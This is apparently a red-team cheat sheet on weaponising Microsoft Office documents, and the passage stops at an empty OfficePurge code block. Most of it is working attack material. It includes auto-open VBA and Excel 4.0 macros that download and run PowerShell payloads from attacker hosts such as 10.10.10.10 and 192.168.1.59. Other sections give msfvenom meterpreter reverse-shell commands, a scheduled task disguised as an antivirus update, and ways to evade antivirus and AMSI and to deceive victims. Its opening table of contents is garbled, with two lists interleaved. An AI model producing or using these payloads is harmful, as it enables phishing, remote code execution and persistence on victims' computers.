- [DOCM - VBA Spawning via svchost.exe using Scheduled Task](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-spawning-via-svchostexe-using-scheduled-task)
|
||||||
* [VBA Obfuscation](#vba-obfuscation)
|
- [DCOM - WMI COM functions (VBA AMSI)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---wmi-com-functions)
|
||||||
* [VBA Purging](#vba-purging)
|
- [DOCM - winmgmts](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---winmgmts)
|
||||||
* [OfficePurge](#officepurge)
|
- [DOCM - Macro Pack - Macro and DDE](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docmxlm---macro-pack---macro-and-dde)
|
||||||
* [EvilClippy](#evilclippy)
|
- [DOCM - BadAssMacros](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---badassmacros)
|
||||||
* [VBA AMSI](#vba-amsi)
|
- [DOCM - CACTUSTORCH VBA Module](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---cactustorch-vba-module)
|
||||||
* [VBA - Offensive Security Template](#vba---offensive-security-template)
|
- [DOCM - MMG with Custom DL + Exec](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---mmg-with-custom-dl--exec)
|
||||||
* [DOCX - Template Injection](#docx---template-injection)
|
- [VBA Obfuscation](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-obfuscation)
|
||||||
* [DOCX - DDE](#docx---dde)
|
- [VBA Purging](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-purging)
|
||||||
* [References](#references)
|
- [OfficePurge](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#officepurge)
|
||||||
|
- [EvilClippy](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#evilclippy)
|
||||||
## XLSM - Hot Manchego
|
- [VBA AMSI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-amsi)
|
||||||
|
- [VBA - Offensive Security Template](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba---offensive-security-template)
|
||||||
> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.
|
- [DOCX - Template Injection](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---template-injection)
|
||||||
|
- [DOCX - DDE](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---dde)
|
||||||
* https://github.com/FortyNorthSecurity/hot-manchego
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#references)
|
||||||
|
|
||||||
```ps1
|
|
||||||
Generate CS Macro and save it to Windows as vba.txt
|
|
||||||
PS> New-Item blank.xlsm
|
|
||||||
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
|
|
||||||
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
## XLM - Macrome
|
|
||||||
|
|
||||||
> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.
|
|
||||||
|
|
||||||
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip
|
|
||||||
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip
|
|
||||||
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# NOTE: The payload cannot contains NULL bytes.
|
|
||||||
|
|
||||||
# Default calc
|
|
||||||
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
|
|
||||||
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
|
|
||||||
# Custom shellcode
|
|
||||||
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
|
|
||||||
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
|
|
||||||
# MSF shellcode
|
|
||||||
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
|
|
||||||
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin
|
|
||||||
|
|
||||||
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
|
|
||||||
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin
|
|
||||||
|
|
||||||
# For VBA Macro
|
|
||||||
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop
|
|
||||||
```
|
|
||||||
|
|
||||||
When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.
|
|
||||||
|
|
||||||
|
|
||||||
## XLM Excel 4.0 - SharpShooter
|
|
||||||
|
|
||||||
* https://github.com/mdsecactivebreach/SharpShooter
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Options
|
|
||||||
-rawscfile <path> Path to raw shellcode file for stageless payloads
|
|
||||||
--scfile <path> Path to shellcode file as CSharp byte array
|
|
||||||
python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test
|
|
||||||
|
|
||||||
# Creation of a VBA Macro
|
|
||||||
# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.
|
|
||||||
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
|
|
||||||
|
|
||||||
# Creation of an Excel 4.0 SLK Macro Enabled Document
|
|
||||||
~# /!\ The shellcode cannot contain null bytes
|
|
||||||
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
|
|
||||||
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
|
|
||||||
|
|
||||||
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00'
|
|
||||||
SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## XLM Excel 4.0 - EXCELntDonut
|
|
||||||
|
|
||||||
* XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
|
|
||||||
* AMSI has no visibility into XLM macros (for now)
|
|
||||||
* Anti-virus struggles with XLM (for now)
|
|
||||||
* XLM macros can access the Win32 API (virtualalloc, createthread, ...)
|
|
||||||
|
|
||||||
1. Open an Excel Workbook.
|
|
||||||
2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
|
|
||||||
3. Open your EXCELntDonut output file in a text editor and copy everything.
|
|
||||||
4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
|
|
||||||
5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
|
|
||||||
6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
|
|
||||||
7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
|
|
||||||
8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.
|
|
||||||
|
|
||||||
:warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
git clone https://github.com/FortyNorthSecurity/EXCELntDonut
|
|
||||||
|
|
||||||
-f path to file containing your C# source code (exe or dll)
|
|
||||||
-c ClassName where method that you want to call lives (dll)
|
|
||||||
-m Method containing your executable payload (dll)
|
|
||||||
-r References needed to compile your C# code (ex: -r 'System.Management')
|
|
||||||
-o output filename
|
|
||||||
--sandbox Perform basic sandbox checks.
|
|
||||||
--obfuscate Perform basic macro obfuscation.
|
|
||||||
|
|
||||||
# Fork
|
|
||||||
git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py
|
|
||||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs
|
|
||||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs
|
|
||||||
donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe
|
|
||||||
donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe
|
|
||||||
usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate]
|
|
||||||
python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin
|
|
||||||
```
|
|
||||||
|
|
||||||
XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md
|
|
||||||
|
|
||||||
|
|
||||||
## XLM Excel 4.0 - EXEC
|
|
||||||
|
|
||||||
1. Right Click to the current sheet
|
|
||||||
2. Insert a **Macro IntL MS Excel 4.0**
|
|
||||||
3. Add the `EXEC` macro
|
|
||||||
```powershell
|
|
||||||
=EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')")
|
|
||||||
=halt()
|
|
||||||
```
|
|
||||||
4. Rename cell to **Auto_open**
|
|
||||||
5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide**
|
|
||||||
|
|
||||||
|
|
||||||
## DOCM - Metasploit
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
use exploit/multi/fileformat/office_word_macro
|
|
||||||
set payload windows/meterpreter/reverse_http
|
|
||||||
set LHOST 10.10.10.10
|
|
||||||
set LPORT 80
|
|
||||||
set DisablePayloadHandler True
|
|
||||||
set PrependMigrate True
|
|
||||||
set FILENAME Financial2021.docm
|
|
||||||
exploit -j
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM - Download and Execute
|
|
||||||
|
|
||||||
> Detected by Defender (AMSI)
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Sub Execute()
|
|
||||||
Dim payload
|
|
||||||
payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');"
|
|
||||||
Call Shell(payload, vbHide)
|
|
||||||
End Sub
|
|
||||||
Sub Document_Open()
|
|
||||||
Execute
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM - Macro Creator
|
|
||||||
|
|
||||||
* https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion:
|
|
||||||
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body
|
|
||||||
# Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion:
|
|
||||||
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o
|
|
||||||
# Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion:
|
|
||||||
C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM - C# converted to Office VBA macro
|
|
||||||
|
|
||||||
> A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted.
|
|
||||||
|
|
||||||
https://github.com/trustedsec/unicorn
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
python unicorn.py payload.cs cs macro
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM - VBA Wscript
|
|
||||||
|
|
||||||
> https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Sub parent_change()
|
|
||||||
Dim objOL
|
|
||||||
Set objOL = CreateObject("Outlook.Application")
|
|
||||||
Set shellObj = objOL.CreateObject("Wscript.Shell")
|
|
||||||
shellObj.Run("notepad.exe")
|
|
||||||
End Sub
|
|
||||||
Sub AutoOpen()
|
|
||||||
parent_change
|
|
||||||
End Sub
|
|
||||||
Sub Auto_Open()
|
|
||||||
parent_change
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
```vb
|
|
||||||
CreateObject("WScript.Shell").Run "calc.exe"
|
|
||||||
CreateObject("WScript.Shell").Exec "notepad.exe"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## DOCM - VBA Shell Execute Comment
|
|
||||||
|
|
||||||
Set your command payload inside the **Comment** metadata of the document.
|
|
||||||
|
|
||||||
```vb
|
|
||||||
Sub beautifulcomment()
|
|
||||||
Dim p As DocumentProperty
|
|
||||||
For Each p In ActiveDocument.BuiltInDocumentProperties
|
|
||||||
If p.Name = "Comments" Then
|
|
||||||
Shell (p.Value)
|
|
||||||
End If
|
|
||||||
Next
|
|
||||||
End Sub
|
|
||||||
|
|
||||||
Sub AutoExec()
|
|
||||||
beautifulcomment
|
|
||||||
End Sub
|
|
||||||
|
|
||||||
Sub AutoOpen()
|
|
||||||
beautifulcomment
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## DOCM - VBA Spawning via svchost.exe using Scheduled Task
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Sub AutoOpen()
|
|
||||||
Set service = CreateObject("Schedule.Service")
|
|
||||||
Call service.Connect
|
|
||||||
Dim td: Set td = service.NewTask(0)
|
|
||||||
td.RegistrationInfo.Author = "Kaspersky Corporation"
|
|
||||||
td.settings.StartWhenAvailable = True
|
|
||||||
td.settings.Hidden = False
|
|
||||||
Dim triggers: Set triggers = td.triggers
|
|
||||||
Dim trigger: Set trigger = triggers.Create(1)
|
|
||||||
Dim startTime: ts = DateAdd("s", 30, Now)
|
|
||||||
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
|
|
||||||
trigger.StartBoundary = startTime
|
|
||||||
trigger.ID = "TimeTriggerId"
|
|
||||||
Dim Action: Set Action = td.Actions.Create(0)
|
|
||||||
Action.Path = "C:\Windows\System32\powershell.exe"
|
|
||||||
Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
|
|
||||||
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
|
|
||||||
End Sub
|
|
||||||
Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM - WMI COM functions
|
|
||||||
|
|
||||||
Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)`
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Sub wmi_exec()
|
|
||||||
strComputer = "."
|
|
||||||
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
|
|
||||||
Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
|
|
||||||
Set objProc = objWMIService.Get("Win32_Process")
|
|
||||||
Set procStartConfig = objStartUp.SpawnInstance_
|
|
||||||
procStartConfig.ShowWindow = 1
|
|
||||||
objProc.Create "powershell.exe", Null, procStartConfig, intProcessID
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
* https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
|
|
||||||
* https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Sub ASR_bypass_create_child_process_rule5()
|
|
||||||
Const HIDDEN_WINDOW = 0
|
|
||||||
strComputer = "."
|
|
||||||
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
|
|
||||||
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
|
|
||||||
Set objConfig = objStartup.SpawnInstance_
|
|
||||||
objConfig.ShowWindow = HIDDEN_WINDOW
|
|
||||||
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
|
|
||||||
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID
|
|
||||||
End Sub
|
|
||||||
|
|
||||||
Sub AutoExec()
|
|
||||||
ASR_bypass_create_child_process_rule5
|
|
||||||
End Sub
|
|
||||||
|
|
||||||
Sub AutoOpen()
|
|
||||||
ASR_bypass_create_child_process_rule5
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
|
|
||||||
Set SW = GetObject("new:" & ShellWindows).Item()
|
|
||||||
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM/XLM - Macro Pack - Macro and DDE
|
|
||||||
|
|
||||||
> Only the community version is available online.
|
|
||||||
|
|
||||||
* [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Options
|
|
||||||
-G, --generate=OUTPUT_FILE_PATH. Generates a file.
|
|
||||||
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
|
|
||||||
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
|
|
||||||
|
|
||||||
# Execute a command
|
|
||||||
echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
|
|
||||||
|
|
||||||
# Download and execute a file
|
|
||||||
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls
|
|
||||||
|
|
||||||
# Meterpreter reverse TCP template using MacroMeter by Cn33liz
|
|
||||||
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
|
|
||||||
|
|
||||||
# Drop and execute embedded file
|
|
||||||
macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
|
|
||||||
|
|
||||||
# Obfuscate the vba file generated by msfvenom and put result in a new vba file.
|
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
|
|
||||||
|
|
||||||
# Obfuscate Empire stager vba file and generate a MS Word document:
|
|
||||||
macro_pack.exe -f empire.vba -o -G myDoc.docm
|
|
||||||
|
|
||||||
# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
|
|
||||||
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
|
|
||||||
|
|
||||||
# Execute calc.exe via Dynamic Data Exchange (DDE) attack
|
|
||||||
echo calc.exe | macro_pack.exe --dde -G calc.xslx
|
|
||||||
|
|
||||||
# Download and execute file via powershell using Dynamic Data Exchange (DDE) attack
|
|
||||||
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl
|
|
||||||
|
|
||||||
# PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV).
|
|
||||||
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
|
|
||||||
|
|
||||||
# PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses.
|
|
||||||
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm
|
|
||||||
|
|
||||||
# PRO: Generate an HTA payload able to run a shellcode via Excel injection
|
|
||||||
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta
|
|
||||||
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk
|
|
||||||
|
|
||||||
# PRO: XLM Injection
|
|
||||||
echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel
|
|
||||||
|
|
||||||
# PRO: ShellCode Exec - Heap Injection, AlternativeInjection
|
|
||||||
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc
|
|
||||||
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc
|
|
||||||
|
|
||||||
# PRO: More shellcodes
|
|
||||||
echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm –keep-alive
|
|
||||||
echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_auto.doc
|
|
||||||
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM - BadAssMacros
|
|
||||||
|
|
||||||
> C# based automated Malicous Macro Generator.
|
|
||||||
|
|
||||||
* https://github.com/Inf0secRabbit/BadAssMacros
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
BadAssMacros.exe -h
|
|
||||||
|
|
||||||
# Create VBA for classic shellcode injection from raw shellcode
|
|
||||||
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>
|
|
||||||
BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt
|
|
||||||
|
|
||||||
# Create VBA for indirect shellcode injection from raw shellcode
|
|
||||||
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file>
|
|
||||||
|
|
||||||
# List modules inside Doc/Excel file
|
|
||||||
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l
|
|
||||||
|
|
||||||
# Purge Doc/Excel file
|
|
||||||
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name>
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## DOCM - CACTUSTORCH VBA Module
|
|
||||||
|
|
||||||
> CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript
|
|
||||||
|
|
||||||
* https://github.com/mdsecactivebreach/CACTUSTORCH
|
|
||||||
* https://github.com/tyranid/DotNetToJScript/
|
|
||||||
* CACTUSTORCH - DotNetToJScript all the things - https://youtu.be/YiaKb8nHFSY
|
|
||||||
* CACTUSTORCH - CobaltStrike Aggressor Script Addon - https://www.youtube.com/watch?v=_pwH6a-6yAQ
|
|
||||||
|
|
||||||
1. Import **.cna** in Cobalt Strike
|
|
||||||
2. Generate a new VBA payload from the CACTUSTORCH menu
|
|
||||||
3. Download DotNetToJscript
|
|
||||||
4. Compile it
|
|
||||||
* **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
|
|
||||||
* **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
|
|
||||||
5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type
|
|
||||||
```ps1
|
|
||||||
DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch
|
|
||||||
```
|
|
||||||
6. Use the generated code to replace the hardcoded binary in CactusTorch
|
|
||||||
|
|
||||||
|
|
||||||
## DOCM - MMG with Custom DL + Exec
|
|
||||||
|
|
||||||
1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe"
|
|
||||||
2. Create a custom binary execute using MMG
|
|
||||||
3. Merge both Macro
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
|
|
||||||
python MMG.py configs/generic-cmd.json malicious.vba
|
|
||||||
{
|
|
||||||
"description": "Generic command exec payload\nEvasion technique set to none",
|
|
||||||
"template": "templates/payloads/generic-cmd-template.vba",
|
|
||||||
"varcount": 152,
|
|
||||||
"encodingoffset": 5,
|
|
||||||
"chunksize": 180,
|
|
||||||
"encodedvars": {},
|
|
||||||
"vars": [],
|
|
||||||
"evasion": ["encoder"],
|
|
||||||
"payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```vb
|
|
||||||
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
|
|
||||||
|
|
||||||
Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean
|
|
||||||
On Error GoTo Failed
|
|
||||||
DownloadFileA = False
|
|
||||||
'As directory must exist, this is a check
|
|
||||||
If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function
|
|
||||||
Dim returnValue As Long
|
|
||||||
returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0)
|
|
||||||
'If return value is 0 and the file exist, then it is considered as downloaded correctly
|
|
||||||
DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0)
|
|
||||||
Exit Function
|
|
||||||
|
|
||||||
Failed:
|
|
||||||
End Function
|
|
||||||
|
|
||||||
Sub AutoOpen()
|
|
||||||
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
|
|
||||||
End Sub
|
|
||||||
|
|
||||||
|
|
||||||
Sub Auto_Open()
|
|
||||||
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
## DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro
|
|
||||||
|
|
||||||
Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control`
|
|
||||||
|
|
||||||
```vb
|
|
||||||
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
|
|
||||||
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus)
|
|
||||||
End Sub
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## VBA Obfuscation
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# https://www.youtube.com/watch?v=L0DlPOLx2k0
|
|
||||||
$ git clone https://github.com/bonnetn/vba-obfuscator
|
|
||||||
$ cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin
|
|
||||||
```
|
|
||||||
|
|
||||||
## VBA Purging
|
|
||||||
|
|
||||||
**VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.
|
|
||||||
|
|
||||||
:warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.
|
|
||||||
|
|
||||||
### OfficePurge
|
|
||||||
* https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
